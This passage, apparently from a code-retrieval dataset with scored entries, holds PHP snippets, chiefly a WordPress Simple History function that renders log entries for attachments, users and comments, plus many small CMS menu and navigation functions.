{\n\t\t\t\n\t\t\t\t$attachment_out = \"\";\n\t\t\t\t$attachment_out .= __(\"attachment\", 'simple-history') . \" \";\n\n\t\t\t\t$post = get_post($object_id);\n\t\t\t\t\n\t\t\t\tif ($post) {\n\n\t\t\t\t\t// Post for attachment was found\n\n\t\t\t\t\t$title = esc_html(get_the_title($post->ID));\n\t\t\t\t\t$edit_link = get_edit_post_link($object_id, 'display');\n\t\t\t\t\t$attachment_metadata = wp_get_attachment_metadata( $object_id );\n\t\t\t\t\t$attachment_file = get_attached_file( $object_id );\n\t\t\t\t\t$attachment_mime = get_post_mime_type( $object_id );\n\t\t\t\t\t$attachment_url = wp_get_attachment_url( $object_id );\n\n // Check that file exists. It may not due to local dev vs remove dev etc.\n $file_exists = file_exists($attachment_file);\n\n\t\t\t\t\t// Get attachment thumbnail. 60 x 60 is the same size as the media overview uses\n\t\t\t\t\t// Is thumbnail of object if image, is wp icon if not\n\t\t\t\t\t$attachment_image_src = wp_get_attachment_image_src($object_id, array(60, 60), true);\t\t\t\t\t\n if ($attachment_image_src && $file_exists) {\n\t\t\t\t\t\t$object_image_out .= \"<a class='simple-history-attachment-thumbnail' href='$edit_link'><img src='{$attachment_image_src[0]}' alt='Attachment icon' width='{$attachment_image_src[1]}' height='{$attachment_image_src[2]}' /></a>\";\n } else {\n $object_image_out .= \"<a class='simple-history-attachment-thumbnail' href='$edit_link'></a>\";\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Begin adding nice to have meta info about to attachment (name, size, mime, etc.)\t\t\t\t\t\n\t\t\t\t\t$object_image_out .= \"<div class='simple-history-attachment-meta'>\";\n\n\t\t\t\t\t// File name\n\n\t\t\t\t\t// Get size in human readable format. Code snippet from media.php\n\t\t\t\t\t$sizes = array( 'KB', 'MB', 'GB' );\n\n $attachment_filesize = \"\";\n if ( $file_exists ) {\n $attachment_filesize = filesize( $attachment_file );\n for ( $u = -1; $attachment_filesize > 1024 && $u < count( $sizes ) - 1; $u++ ) {\n $attachment_filesize /= 1024;\n }\n }\n\n if (empty($attachment_filesize)) {\n $str_attachment_size = \"<p>\" . __(\"File size: Unknown \", \"simple-history\") . \"</p>\";\n } else {\n $size_unit = ($u == -1) ? __(\"bytes\", \"simple-history\") : $sizes[$u];\n $str_attachment_size = sprintf('<p>%1$s %2$s %3$s</p>', __(\"File size:\", \"simple-history\"), round( $attachment_filesize, 0 ), $size_unit );\n\t\t\t\t\t}\n\n\t\t\t\t\t// File type\n\t\t\t\t\t$file_type_out = \"\";\n\t\t\t\t\tif ( preg_match( '/^.*?\\.(\\w+)$/', $attachment_file, $matches ) )\n\t\t\t\t\t\t$file_type_out .= esc_html( strtoupper( $matches[1] ) );\n\t\t\t\t\telse\n\t\t\t\t\t\t$file_type_out .= strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );\n\t\t\t\n\t\t\t\t\t// Media size, width x height\n\t\t\t\t\t$media_dims = \"\";\n\t\t\t\t\tif ( ! empty( $attachment_metadata['width'] ) && ! empty( $attachment_metadata['height'] ) ) {\n\t\t\t\t\t\t$media_dims .= \"<span>{$attachment_metadata['width']}&nbsp;&times;&nbsp;{$attachment_metadata['height']}</span>\";\n\t\t\t\t\t}\n\n\t\t\t\t\t// Generate string with metainfo\n $object_image_out .= $str_attachment_size;\n $object_image_out .= sprintf('<p>%1$s %2$s</p>', __(\"File type:\"), $file_type_out );\n\t\t\t\t\tif ( ! empty( $media_dims ) ) $object_image_out .= sprintf('<p>%1$s %2$s</p>', __(\"Dimensions:\"), $media_dims );\t\t\t\t\t\n\t\t\t\t\tif ( ! empty( $attachment_metadata[\"length_formatted\"] ) ) $object_image_out .= sprintf('<p>%1$s %2$s</p>', __(\"Length:\"), $attachment_metadata[\"length_formatted\"] );\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t// end attachment meta info box output\n\t\t\t\t\t$object_image_out .= \"</div>\"; // close simple-history-attachment-meta\n\n\t\t\t\t\t$attachment_out .= \" <a href='$edit_link'>\";\n\t\t\t\t\t$attachment_out .= \"<span class='simple-history-title'>{$title}</span>\";\n\t\t\t\t\t$attachment_out .= \"</a>\";\n\t\t\t\t\t\n\t\t\t\t} else {\n\n\t\t\t\t\t// Post for attachment was not found\n\t\t\t\t\tif ($object_name) {\n\t\t\t\t\t\t$attachment_out .= \"<span class='simple-history-title'>\\\"\" . esc_html($object_name) . \"\\\"</span>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$attachment_out .= \" <span class='simple-history-title'>&lt;deleted&gt;</span>\";\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t$attachment_out .= \" \" . esc_html__($action, \"simple-history\") . \" \";\n\t\t\t\t\n\t\t\t\t$attachment_out = ucfirst($attachment_out);\n\t\t\t\t$output .= $attachment_out;\n\n\t\t\t} elseif (\"user\" == $object_type_lcase) {\n\n\t\t\t\t$user_out = \"\";\n\t\t\t\t$user_out .= __(\"user\", 'simple-history');\n\t\t\t\t$user = get_user_by(\"id\", $object_id);\n\t\t\t\tif ($user) {\n\t\t\t\t\t$user_link = \"user-edit.php?user_id={$user->ID}\";\n\t\t\t\t\t$user_out .= \"<span class='simple-history-title'>\";\n\t\t\t\t\t$user_out .= \" <a href='$user_link'>\";\n\t\t\t\t\t$user_out .= $user->user_nicename;\n\t\t\t\t\t$user_out .= \"</a>\";\n\t\t\t\t\tif (isset($user->first_name) && isset($user->last_name)) {\n\t\t\t\t\t\tif ($user->first_name || $user->last_name) {\n\t\t\t\t\t\t\t$user_out .= \" (\";\n\t\t\t\t\t\t\tif ($user->first_name && $user->last_name) {\n\t\t\t\t\t\t\t\t$user_out .= esc_html($user->first_name) . \" \" . esc_html($user->last_name);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$user_out .= esc_html($user->first_name) . esc_html($user->last_name); // just one of them, no space necessary\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$user_out .= \")\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$user_out .= \"</span>\";\n\t\t\t\t} else {\n\t\t\t\t\t// most likely deleted user\n\t\t\t\t\t$user_link = \"\";\n\t\t\t\t\t$user_out .= \" \\\"\" . esc_html($object_name) . \"\\\"\";\n\t\t\t\t}\n\n\t\t\t\t$user_out .= \" \" . esc_html__($action, \"simple-history\");\n\t\t\t\t\n\t\t\t\t$user_out = ucfirst($user_out);\n\t\t\t\t$output .= $user_out;\n\n\t\t\t} elseif (\"comment\" == $object_type_lcase) {\n\t\t\t\t\n\t\t\t\t$comment_link = get_edit_comment_link($object_id);\n\t\t\t\t$output .= ucwords(esc_html__(ucfirst($object_type))) . \" \" . esc_html($object_subtype) . \" <a href='$comment_link'><span class='simple-history-title'>\" . esc_html($object_name) . \"\\\"</span></a> \" . esc_html__($action, \"simple-history\");\n\n\t\t\t} else {\n\n\t\t\t\t// unknown/general type\n\t\t\t\t// translate the common types\n\t\t\t\t$unknown_action = $action;\n\t\t\t\tswitch ($unknown_action) {\n\t\t\t\t\tcase \"activated\":\n\t\t\t\t\t\t$unknown_action = __(\"activated\", 'simple-history');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"deactivated\":\n\t\t\t\t\t\t$unknown_action = __(\"deactivated\", 'simple-history');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"enabled\":\n\t\t\t\t\t\t$unknown_action = __(\"enabled\", 'simple-history');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"disabled\":\n\t\t\t\t\t\t$unknown_action = __(\"disabled\", 'simple-history');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$unknown_action = $unknown_action; // dah!\n\t\t\t\t}\n\t\t\t\t$output .= ucwords(esc_html__($object_type, \"simple-history\")) . \" \" . ucwords(esc_html__($object_subtype, \"simple-history\")) . \" <span class='simple-history-title'>\\\"\" . esc_html($object_name) . \"\\\"</span> \" . esc_html($unknown_action);\n\n\t\t\t}\n\t\t\t$output .= \"</div>\";\n\t\t\t\n\t\t\t// second div = when and who\n\t\t\t$output .= \"<div class='second'>\";\n\t\t\t\n\t\t\t$date_i18n_date = date_i18n(get_option('date_format'), strtotime($one_row->date), $gmt=false);\n\t\t\t$date_i18n_time = date_i18n(get_option('time_format'), strtotime($one_row->date), $gmt=false);\t\t\n\t\t\t$now = strtotime(current_time(\"mysql\"));\n\t\t\t$diff_str = sprintf( __('<span class=\"when\">%1$s ago</span> by %2$s', \"simple-history\"), human_time_diff(strtotime($one_row->date), $now), $who );\n\t\t\t$output .= $diff_str;\n\t\t\t$output .= \"<span class='when_detail'>\".sprintf(__('%s at %s', 'simple-history'), $date_i18n_date, $date_i18n_time).\"</span>\";\n\n\t\t\t// action description\n\t\t\tif ( trim( $action_description ) ) {\n\t\t\t\t$output .= sprintf(\n\t\t\t\t\t'\n\t\t\t\t\t<a href=\"#\" class=\"simple-history-item-description-toggler\">%2$s</a>\n\t\t\t\t\t<div class=\"simple-history-item-description-wrap\">\n\t\t\t\t\t\t<div class=\"simple-history-action-description\">%1$s</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t',\n\t\t\t\t\tnl2br( esc_attr( $action_description ) ), // 2\n\t\t\t\t\t__(\"Details\", \"simple-history\") // 2\n\t\t\t\t);\n\t\t\t}\n\t\t\t\n\t\t\t$output .= \"</div>\";\n\n\t\t\t// Object image\n\t\t\tif ( $object_image_out ) {\n\n\t\t\t\t$output .= sprintf(\n\t\t\t\t\t'\n\t\t\t\t\t<div class=\"simple-history-object-image\">\n\t\t\t\t\t\t%1$s\n\t\t\t\t\t</div>\n\t\t\t\t\t',\n\t\t\t\t\t$object_image_out\n\t\t\t\t);\n\n\t\t\t}\n\n\t\t\t// occasions\n\t\t\tif ($num_occasions > 0) {\n\t\t\t\t$output .= \"<div class='third'>\";\n\t\t\t\tif ($num_occasions == 1) {\n\t\t\t\t\t$one_occasion = __(\"+ 1 occasion\", 'simple-history');\n\t\t\t\t\t$output .= \"<a class='simple-history-occasion-show' href='#'>$one_occasion</a>\";\n\t\t\t\t} else {\n\t\t\t\t\t$many_occasion = sprintf(__(\"+ %d occasions\", 'simple-history'), $num_occasions);\n\t\t\t\t\t$output .= \"<a class='simple-history-occasion-show' href='#'>$many_occasion</a>\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$output .= \"<ul class='simple-history-occasions hidden'>\";\n\t\t\t\tforeach ($occasions as $one_occasion) {\n\t\t\t\t\n\t\t\t\t\t$output .= \"<li>\";\n\t\t\t\t\n\t\t\t\t\t$date_i18n_date = date_i18n(get_option('date_format'), strtotime($one_occasion->date), $gmt=false);\n\t\t\t\t\t$date_i18n_time = date_i18n(get_option('time_format'), strtotime($one_occasion->date), $gmt=false);\t\t\n\t\t\t\t\n\t\t\t\t\t$output .= \"<div class='simple-history-occasions-one-when'>\";\n\t\t\t\t\t$output .= sprintf(\n\t\t\t\t\t\t\t__('%s ago (%s at %s)', \"simple-history\"), \n\t\t\t\t\t\t\thuman_time_diff(strtotime($one_occasion->date), $now), \n\t\t\t\t\t\t\t$date_i18n_date, \n\t\t\t\t\t\t\t$date_i18n_time\n\t\t\t\t\t\t);\n\t\t\t\t\t\n\t\t\t\t\tif ( trim( $one_occasion->action_description ) ) {\n\t\t\t\t\t\t$output .= \"<a href='#' class='simple-history-occasions-details-toggle'>\" . __(\"Details\", \"simple-history\") . \"</a>\";\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$output .= \"</div>\";\n\n\t\t\t\t\tif ( trim( $one_occasion->action_description ) ) {\n\t\t\t\t\t\t$output .= sprintf(\n\t\t\t\t\t\t\t'<div class=\"simple-history-occasions-one-action-description\">%1$s</div>',\n\t\t\t\t\t\t\tnl2br( esc_attr( $one_occasion->action_description ) )\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\n\n\t\t\t\t\t$output .= \"</li>\";\n\t\t\t\t}\n\n\t\t\t\t$output .= \"</ul>\";\n\n\t\t\t\t$output .= \"</div>\";\n\t\t\t}\n\n\t\t\t$output .= \"</li>\";\n\n\t\t\t$loopNum++;\n\n\t\t}\n\t\t\n\t\t// if $loopNum == 0 no items where found for this page\n\t\tif ($loopNum == 0) {\n\t\t\t$output .= \"noMoreItems\";\n\t\t}\n\t\t\n\t\tif ( ! $args[\"is_ajax\"] ) {\n\n\t\t\t// if not ajax, print the divs and stuff we need\n\t\t\t$show_more = \"<select>\";\n\t\t\t$show_more .= sprintf('<option value=5 %2$s>%1$s</option>', __(\"Show 5 more\", 'simple-history'), ($args[\"items\"] == 5 ? \" selected \" : \"\") );\n\t\t\t$show_more .= sprintf('<option value=15 %2$s>%1$s</option>', __(\"Show 15 more\", 'simple-history'), ($args[\"items\"] == 15 ? \" selected \" : \"\") );\n\t\t\t$show_more .= sprintf('<option value=50 %2$s>%1$s</option>', __(\"Show 50 more\", 'simple-history'), ($args[\"items\"] == 50 ? \" selected \" : \"\") );\n\t\t\t$show_more .= sprintf('<option value=100 %2$s>%1$s</option>', __(\"Show 100 more\", 'simple-history'), ($args[\"items\"] == 100 ? \" selected \" : \"\") );\n\t\t\t$show_more .= \"</select>\";\n\n\t\t\t$no_found = __(\"No matching items found.\", 'simple-history');\n\t\t\t$view_rss = __(\"RSS feed\", 'simple-history');\n\t\t\t$view_rss_link = simple_history_get_rss_address();\n\t\t\t$str_show = __(\"Show\", 'simple-history');\n\t\t\t$output .= \"</ol>\";\n\n\t\t\t$output .= sprintf( '\n\t\t\t\t\t<div class=\"simple-history-loading\">%2$s %1$s</div>\n\t\t\t\t\t', \n\t\t\t\t\t__(\"Loading...\", 'simple-history'), // 1\n\t\t\t\t\t\"<img src='\".site_url(\"wp-admin/images/loading.gif\").\"' width=16 height=16>\"\n\t\t\t\t);\n\n\t\t\t$output .= \"</div>\";\n\n\t\t\t$output .= \"\n\t\t\t\t<p class='simple-history-no-more-items'>$no_found</p>\t\t\t\n\t\t\t\t<p class='simple-history-rss-feed-dashboard'><a title='$view_rss' href='$view_rss_link'>$view_rss</a></p>\n\t\t\t\t<p class='simple-history-rss-feed-page'><a title='$view_rss' href='$view_rss_link'><span></span>$view_rss</a></p>\n\t\t\t\";\n\n\t\t}\n\n\t} else {\n\n\t\tif ($args[\"is_ajax\"]) {\n\t\t\t$output .= \"noMoreItems\";\n\t\t} else {\n\t\t\t$no_found = __(\"No history items found.\", 'simple-history');\n\t\t\t$please_note = __(\"Please note that Simple History only records things that happen after this plugin have been installed.\", 'simple-history');\n\t\t\t$output .= \"<p>$no_found</p>\";\n\t\t\t$output .= \"<p>$please_note</p>\";\n\t\t}\n\n\t}\n\treturn $output;\n}", "title": "" }, { "docid": "94b756acfa96ff54f90421826f08e72b", "score": "0.56719935", "text": "public function index() {\n\t\t\t/* Get list of menu items */\n\t\t\t$this->menuList = $this->getThreadedList();\n\t\t\t$this->set('menuList', $this->menuList);\n\t\t}", "title": "" }, { "docid": "048d32a26251ce4abe6cdb426d708c3e", "score": "0.5670883", "text": "public function show($historyUser)\n {\n //\n }", "title": "" }, { "docid": "abb07760ddc5cceeb40bc6c2e1122f42", "score": "0.56685007", "text": "public function addMenuItem() {\n add_menu_page(__('Visual Chat', 'WP_Visual_Chat'), 'Visual Chat', 'visual_chat', 'vcht-console', array($this, 'viewChatBackend'), 'dashicons-format-chat');\n }", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.565833", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.565833", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.565833", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.565833", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.565833", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.565833", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "e691b9089d440870550b121cd3c215b1", "score": "0.5657651", "text": "function edithistory_admin_menu($sub_menu)\n{\n\tglobal $lang;\n\t$lang->load(\"tools_edithistory\");\n\n\t$sub_menu['110'] = array('id' => 'edithistory', 'title' => $lang->edit_history_log, 'link' => 'index.php?module=tools-edithistory');\n\n\treturn $sub_menu;\n}", "title": "" }, { "docid": "1330c6356f67c20827026d5fe30bf1a2", "score": "0.5657184", "text": "function favorites_topbar_menu ($hook, $type, $return, $params) {\n\t$user = elgg_get_logged_in_user_entity();\n\n\t$return[] = ElggMenuItem::factory(array(\n\t\t'name' => 'favorites',\n\t\t'text' => elgg_echo('favorites:own'),\n\t\t'href' => \"favorites/{$user->username}\",\n\t\t'priority' => 100,\n\t));\n\n\treturn $return;\n}", "title": "" }, { "docid": "8e7fa83d601f28e774854b0322273d1e", "score": "0.56565785", "text": "function altlab_student_data_motherblog_menu(){\n\tadd_menu_page(\n\t\t'Mother Blog Student Data', \n\t\t'Student Data', \n\t\t'manage_options', \n\t\t'altlab_student_data_motherblog', \n\t\t'altlab_student_data_motherblog_options_page', \n\t\t'dashicons-chart-bar'\n\t\t); \n\n}", "title": "" }, { "docid": "5ba103032a1beb1d3a56dc97ff5951e8", "score": "0.5644699", "text": "public function onViewMake($event) {\n // add the blog page after the fist page if blogging is enabled\n if (Config::get('cms.blogging')) {\n Navigation::addItem('main', array('title' => 'Blog', 'slug' => 'blog/posts', 'icon' => 'book'));\n }\n // add the events page after the fist page if events are enabled\n if (Config::get('cms.events')) {\n Navigation::addItem('main', array('title' => 'Events', 'slug' => 'events', 'icon' => 'calendar'));\n }\n\n if ($event['User']) {\n // add the profile links\n Navigation::addItem('bar', array('title' => 'View Profile', 'slug' => 'account/profile', 'icon' => 'cog'));\n // add the admin links\n if (Sentry::getUser()->hasAccess('admin')) {\n Navigation::addItem('bar', array('title' => 'View Logs', 'slug' => 'logviewer', 'icon' => 'wrench'));\n Navigation::addItem('bar', array('title' => 'Caching', 'slug' => 'caching', 'icon' => 'tachometer'));\n Navigation::addItem('bar', array('title' => 'CloudFlare', 'slug' => 'cloudflare', 'icon' => 'cloud'));\n Navigation::addItem('bar', array('title' => 'Queuing', 'slug' => 'queuing', 'icon' => 'random'));\n }\n // add the view users link\n if (Sentry::getUser()->hasAccess('mod')) {\n Navigation::addItem('bar', array('title' => 'View Users', 'slug' => 'users', 'icon' => 'user'));\n }\n // add the create user link\n if (Sentry::getUser()->hasAccess('admin')) {\n Navigation::addItem('bar', array('title' => 'Create User', 'slug' => 'users/create', 'icon' => 'star'));\n }\n // add the create page link\n if (Sentry::getUser()->hasAccess('edit')) {\n Navigation::addItem('bar', array('title' => 'Create Page', 'slug' => 'pages/create', 'icon' => 'pencil'));\n }\n // add the create post link\n if (Config::get('cms.blogging')) {\n if (Sentry::getUser()->hasAccess('blog')) {\n Navigation::addItem('bar', array('title' => 'Create Post', 'slug' => 'blog/posts/create', 'icon' => 'book'));\n }\n }\n // add the create event link\n if (Config::get('cms.events')) {\n if (Sentry::getUser()->hasAccess('edit')) {\n Navigation::addItem('bar', array('title' => 'Create Event', 'slug' => 'events/create', 'icon' => 'calendar'));\n }\n }\n\n // add the admin links\n if (Sentry::getUser()->hasAccess('admin')) {\n Navigation::addItem('admin', array('title' => 'Logs', 'slug' => 'logviewer', 'icon' => 'wrench'));\n Navigation::addItem('admin', array('title' => 'Caching', 'slug' => 'caching', 'icon' => 'tachometer'));\n Navigation::addItem('admin', array('title' => 'CloudFlare', 'slug' => 'cloudflare', 'icon' => 'cloud'));\n Navigation::addItem('admin', array('title' => 'Queuing', 'slug' => 'queuing', 'icon' => 'random'));\n }\n // add the view users link\n if (Sentry::getUser()->hasAccess('mod')) {\n Navigation::addItem('admin', array('title' => 'Users', 'slug' => 'users', 'icon' => 'user'));\n }\n }\n }", "title": "" }, { "docid": "22ed5c9932914d3f681e45f7cf5728c9", "score": "0.56428504", "text": "public function addUrl() {\r\n\t\t$current = $this->params['url']['url'];\r\n\t\t$accept = array('show', 'admin_show', 'admin_index');\r\n\t\tif(in_array($this->action, $accept)) {\r\n\t\t\tif ($this->Session->read('history.current') != $current){\r\n\t\t\t\t//$this->Session->write('history.previous', $this->Session->read('history.current'))->write('history.current', $current);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "8d0d867e4a68b40ded97ab1b86d32a9f", "score": "0.5624577", "text": "public function menu( )\n {\n\n if( $this->view->isType( View::SUBWINDOW ) )\n {\n $view = $this->view->newWindow('WebfrapMainMenu', 'Default');\n }\n else if( $this->view->isType( View::MAINTAB ) )\n {\n $view = $this->view->newMaintab('WebfrapMainMenu', 'Default');\n $view->setLabel('Explorer');\n }\n else\n {\n $view = $this->view;\n }\n\n $view->setTitle('Webfrap Main Menu');\n\n $view->setTemplate( 'webfrap/menu/modmenu' );\n\n $modMenu = $view->newItem( 'modMenu', 'MenuFolder' );\n $modMenu->setData( DaoFoldermenu::get('webfrap/root',true) );\n\n }", "title": "" }, { "docid": "f43ff806a9b492abf3078840512ff385", "score": "0.5623618", "text": "private function indexAction()\n {\n $page = isset($_GET['page']) ? substr($_GET['page'],0,-1) : \"home\" ;\n $this->reg->pages->getPageContent(strtolower($page));\n }", "title": "" }, { "docid": "28cbfe350a47cf87377c2ec15d04c8f9", "score": "0.5622616", "text": "public function login_history()\n {\n //check login\n if(!$this->session->userdata('logged_in'))\n {\n redirect('users/login');\n }\n \n //setting page title\n $data['title'] = 'Loggin history';\n $data['login_history'] = $this->user_model->login_history_view();\n $data['pinn'] = $this->note_model->get_pin();\n $this->load->view('includes/header', $data);\n $this->load->view('users/history', $data);\n $this->load->view('includes/footer');\n }", "title": "" }, { "docid": "c05198c7b233b806d1dd9fe451cb0315", "score": "0.5620062", "text": "function parse_history_zone()\n\t\t{\n\t\t\tif ( (empty($this->display_history)) || (!($this->display_history)))\n\t\t\t{\n\t\t\t\t//hide the history zone\n\t\t\t\t$this->t->set_var(array( 'history' => ''));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$inst_parser =& CreateObject('workflow.bo_uiinstance', $this->t);\n\t\t\t\t$inst_parser->t =& $this->t;\n\t\t\t\t$inst_parser->parse_instance_history($this->instance->workitems);\n\t\t\t\t$this->t->set_var('history', $this->t->parse('output', 'history_tpl'));\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5cd55dd8df2e53696d924d16ad4a1c32", "score": "0.56193423", "text": "public function home(){\n $itemsHome = $this->itemsModel->listenerItems(); // Recupération des items de ma bdd ( par default les 8 permier items)\n include(\"home.php\"); // Chargement de la view (page home.php)\n }", "title": "" }, { "docid": "df1c3da792d4fc19d77128453bb40f58", "score": "0.56184304", "text": "function edduh_ajax_track_history() {\n\n\t$page_url = isset( $_REQUEST['page_url'] ) ? esc_url( urldecode( $_REQUEST['page_url'] ) ) : false;\n\t$referrer = isset( $_REQUEST['referrer'] ) ? esc_url( urldecode( $_REQUEST['referrer'] ) ) : false;\n\n\tif ( $page_url ) {\n\t\tdo_action( 'edduh_visited_url', $page_url, time(), $referrer );\n\t}\n\n\twp_send_json_success( array( 'page_url' => $page_url ) );\n}", "title": "" }, { "docid": "12256aae03c8eac16bcf59d8fced255b", "score": "0.5617241", "text": "public function getMenu();", "title": "" }, { "docid": "2b6dcc5349a7cfcc9c1463a7963d5c21", "score": "0.5617092", "text": "protected function _menu() {\n\t\t// Get count of ham comments\n\t\t$ham = Sprig::factory('blog_comment', array('state'=>'ham'))->load(NULL, FALSE)->count();\n\t\t$ham = ($ham > 0) ? ' ['.$ham.']' : '';\n\n\t\t// Get count of queued comments\n\t\t$queued = Sprig::factory('blog_comment', array('state'=>'queued'))->load(NULL,FALSE)->count();\n\t\t$queued = ($queued > 0) ? ' ['.$queued.']' : '';\n\n\t\t// Get count of spam comments\n\t\t$spam = Sprig::factory('blog_comment', array('state'=>'spam'))->load(NULL,FALSE)->count();\n\t\t$spam = ($spam > 0) ? ' ['.$spam.']' : '';\n\n\t\treturn View::factory('blog/admin/menu')\n\t\t\t->set('links', array(\n\t\t\t\t'Approved Comments'.$ham => $this->request->uri(array('action' => 'approved')),\n\t\t\t\t'Moderation Queue'.$queued => $this->request->uri(array('action' => 'queue')),\n\t\t\t\t'Spam Comments'.$spam => $this->request->uri(array('action' => 'spam')),\n\t\t\t));\n\t}", "title": "" }, { "docid": "49cda67a5654d2470eaf554b18165183", "score": "0.5608124", "text": "function rusticmodern_page_menu_args( $args ) {\n\tif ( ! isset( $args['show_home'] ) )\n\t\t$args['show_home'] = true;\n\treturn $args;\n}", "title": "" }, { "docid": "3845ce35a0b06c7ace8714e2f8edc55e", "score": "0.5596289", "text": "public function actionCron_jobs_history()\n {\n $request = Yii::app()->request;\n $model = new ConsoleCommandListHistory('search');\n $model->unsetAttributes();\n\n $model->attributes = (array)$request->getQuery($model->modelName, array());\n \n $this->setData(array(\n 'pageMetaTitle' => $this->data->pageMetaTitle . ' | '. Yii::t('cronjobs', 'View cron jobs history'),\n 'pageHeading' => Yii::t('cronjobs', 'View cron jobs history'),\n 'pageBreadcrumbs' => array(\n Yii::t('cronjobs', 'Cron jobs history'),\n )\n ));\n\n $this->render('cron-jobs-history', compact('model'));\n }", "title": "" }, { "docid": "7df465224dc8bb3feda2d21c81ea3563", "score": "0.55911386", "text": "function admin_menu()\n {\n }", "title": "" }, { "docid": "7df465224dc8bb3feda2d21c81ea3563", "score": "0.55911386", "text": "function admin_menu()\n {\n }", "title": "" }, { "docid": "7df465224dc8bb3feda2d21c81ea3563", "score": "0.55911386", "text": "function admin_menu()\n {\n }", "title": "" }, { "docid": "5e73077d94e914b27a07536927412a2b", "score": "0.5585353", "text": "function viewNav() {\n\t$view = new viewModel();\n\t$view->showNav();\t\n}", "title": "" }, { "docid": "954759743ff394d99ca6c0c293a6b5cd", "score": "0.5579041", "text": "public static function returnMenu() {\n }", "title": "" }, { "docid": "906d567be4f2897c13c99ff24b401c68", "score": "0.55750936", "text": "function _wp_menus_changed()\n {\n }", "title": "" }, { "docid": "3d11f6472dc054b7486e1e5de1d57d8d", "score": "0.55737114", "text": "function menuAction()\r\n {\r\n\r\n }", "title": "" }, { "docid": "7aa9198b6843682b3c79109a1e772c23", "score": "0.5568912", "text": "public function makeMenu() {}", "title": "" }, { "docid": "2afffeed787b7ec473582dcab50758c3", "score": "0.55678767", "text": "function Dates_Menu()\n {\n $args=$this->CGI_URI2Hash();\n unset($args[ \"Place\" ]);\n\n return $this->DatesObj()->MyMod_Items_Menu($args,$this->Dates(),\"Date\",$idkey=\"ID\",$titlekey=\"Title\");\n }", "title": "" }, { "docid": "47152018b31204afacc0cb82b442eb14", "score": "0.5560911", "text": "function displayMenu()\n\t{\n\t\tshowInfo();\n\t\tshowActions();\n\t}", "title": "" }, { "docid": "b0d76649d7e942d2b587825290f313ce", "score": "0.5560112", "text": "function cmsmasters_page_menu_args($args) {\n $args['show_home'] = true;\n \n return $args;\n}", "title": "" }, { "docid": "e050e187e0dd0eae6802aae24f049b69", "score": "0.5559056", "text": "function Menu_Rendering($menu) {\r\n}", "title": "" }, { "docid": "673000651b1d50d3df51dc3ba45c56bf", "score": "0.55584437", "text": "public abstract function getPrevMenu();", "title": "" }, { "docid": "b458a5384519ca3fe249619d30e77c37", "score": "0.5557542", "text": "public function admin_menu(&$menu)\n {\n\n\t}", "title": "" }, { "docid": "7e8c99e31ef418c4fec77494a79da2a2", "score": "0.554962", "text": "public function getShowInHome();", "title": "" }, { "docid": "2e025c1820b5a3d5cd0e0578a6691d35", "score": "0.554741", "text": "public function menu()\n\t{\n\t\t$partial = new Inoves_Partial('Content/view/menu/contentMain.phtml');\n\n\t\t$partial->slug = Inoves_URS::$params[0];\n\t\t\n\t\tInoves_View::prepend('#content', $partial);\n\t}", "title": "" }, { "docid": "5a7ce48ab1894e49004b22beb64c2afe", "score": "0.5546737", "text": "function pagination( $which ) {\r\n\t\t$save_uri = $_SERVER['REQUEST_URI'];\r\n\t\t$_SERVER['REQUEST_URI'] = add_query_arg( self::mla_submenu_arguments(), $save_uri );\r\n\t\tparent::pagination( $which );\r\n\t\t$_SERVER['REQUEST_URI'] = $save_uri;\r\n\t}", "title": "" }, { "docid": "13b5e174e77d7bf83b6251e1221db00d", "score": "0.55463654", "text": "function tv_add_menu_items(){\n $reports_page = \"contact_reports.php\";\n // add_menu_page('Reports', 'Reports', 'manage_options', 'contact_reports.php', 'tv_render_list_page', 'dashicons-clipboard', 6);\n add_menu_page('Reports', 'Reports', 'manage_options', $reports_page, 'tv_render_list_page', 'dashicons-clipboard', 6);\n}", "title": "" }, { "docid": "2b0196b65d17fc9a19eaf71a90ef9caf", "score": "0.5544273", "text": "abstract public function getMenuView(): string;", "title": "" }, { "docid": "5389718bb64718ad7372a0a0c5281f17", "score": "0.55405486", "text": "public function index()\n\t{\n\t\t//on récupère l'URL\n\t\t//echo \"on cherche : \".$this->guid;\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "3d31c740509bbacaef2811be8aab2d9d", "score": "0.553332", "text": "public function event()\n {\n return 'admin_menu';\n }", "title": "" }, { "docid": "86d6afed2ed43e621a538dba515c47c1", "score": "0.5530321", "text": "function log_history_link( $menu_links ){\n $whitelist_roles = array('administrator');\n $user = wp_get_current_user();\n $user_role = (array) $user->roles;\n \n in_array($user_role[0], $whitelist_roles)\n ? $menu_links_prefix = array( 'add-products' => 'Add products' )\n : $menu_links_prefix = array();\n $menu_links = array_slice( $menu_links, 0, 1, true )\n + 